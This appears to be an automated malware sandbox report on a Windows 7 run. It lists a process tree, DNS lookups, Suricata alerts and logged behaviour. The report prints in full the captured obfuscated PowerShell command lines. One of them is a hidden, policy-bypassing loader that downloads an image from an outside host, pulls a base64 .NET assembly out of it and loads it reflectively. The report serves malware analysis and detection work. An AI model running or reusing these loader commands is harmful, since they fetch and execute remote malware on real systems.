Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | Nov. 16, 2023, 3:52 p.m. | Nov. 16, 2023, 3:56 p.m. |
-
wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\htmlbrowserhistorycleanbothfile.vbs
2580-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2732-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-eXPreSSioN ( (('zLpimage'+'Url = hiEhttps:/'+'/uploaddeimagens.com.br/images/004/654/536/original/new_image.'+'jpg?1698957750hiE;zLpwebClient = New'+'-Object System.Net.WebClient'+';'+'zLpimageBytes = zLpwebClient.DownloadData(zLpimageUrl);zLpimageText = [System.Text.Encoding]::UTF8.GetString('+'zLpimageBytes);zLpst'+'artFlag = hiE'+'<<BAS'+'E64_START>>hiE;zLpendFl'+'ag = hiE<<BASE64_END>>hiE;zLpstartIndex'+' = zLpimageText.IndexOf(zLpstartFlag);zL'+'pendIndex = zLpimageText.IndexOf'+'(zLpendFlag);zLpstartIndex -ge 0 -and zLpendIndex -gt zLpstartIndex;zLp'+'startIndex += zL'+'pstartFlag.Length;zLpbase64Length = zLpendIndex - zL'+'pstartIndex;zLpbase64Comma'+'nd = zLpimageText.Substring(zL'+'pstartIndex, zLpbase64'+'Length);zLpcom'+'mandB'+'ytes'+' = [System.Con'+'vert]::FromBase64String(zLpbase64'+'Command);zLploadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(zLpcommandBytes);zLptype = zLploadedAssembly.'+'GetType(hiEFiber.HomehiE);zLpmethod = zLptype.Ge'+'tMethod(hiEVAIhiE).Invoke(zLpnull, [object[]] (hiEdHh0LkFNS'+'C8wMDUvNjkxLjUyMi43MjEuODgxLy86cHR0aA==hiE , hiEhiE , hiE2hiE , '+'hiEregasmhiE , hiE5hiE , hiEC:SbCProgramDataSbC'+'hiE, '+'hiEhtmlbhiE))') -cREpLACe 'zLp',[CHAR]36 -RepLACe([CHAR]104+[CHAR]105+[CHAR]69),[CHAR]39 -RepLACe 'SbC',[CHAR]92))"
2836
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
apps.identrust.com |
CNAME
a1952.dscq.akamai.net
CNAME
identrust.edgesuite.net
|
23.67.53.17 |
paste.ee | 104.21.84.67 | |
uploaddeimagens.com.br | 104.21.45.138 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.101:49161 -> 172.67.187.200:443 | 2034978 | ET POLICY Pastebin-style Service (paste .ee) in TLS SNI | Potential Corporate Privacy Violation |
TCP 192.168.56.101:49161 -> 172.67.187.200:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49166 -> 104.21.45.138:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.101:49161 172.67.187.200:443 |
C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 | CN=paste.ee | 75:09:97:90:38:ad:dd:cc:0d:1b:d8:8b:02:ab:5d:a9:3b:7a:1f:1d |
TLSv1 192.168.56.101:49166 104.21.45.138:443 |
C=US, O=Let's Encrypt, CN=E1 | CN=uploaddeimagens.com.br | d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71 |
request | GET http://apps.identrust.com/roots/dstrootcax3.p7c |
request | GET https://paste.ee/d/U1LNm |
file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | powershell -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkON